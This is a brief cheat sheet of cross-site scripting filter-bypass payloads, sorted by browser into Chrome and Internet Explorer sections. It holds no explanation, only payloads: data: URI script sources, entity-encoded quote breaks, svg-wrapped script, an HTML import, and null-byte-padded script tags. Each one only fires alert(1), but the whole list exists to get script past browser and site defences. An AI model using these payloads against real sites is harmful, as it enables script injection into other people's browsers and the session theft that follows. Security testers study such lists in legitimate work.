XSS Bypass浏览器

chrome
  1. <img alt=""><script/src=data:,alert(1)&sol;&sol;" src="123" />
  2. "><script/src=data:,alert(1)&sol;&sol;
  3. <img alt=""><script/src=data:,alert(1)+"" src="123" />
  4. "><script/src=data:,alert(1)%2b"
  5. <script>
  6. x = "</script><svg><script>alert(1)+&quot;";
  7. </script>
  8. </script><svg><script>alert(1)%2b%26quot;
  9. <link rel=import href=//eval>

IE 
  1. <a href="?q=<script>alert(1)</script>">click</a>
  2. <script/%00%00v%00%00>alert(1)</script>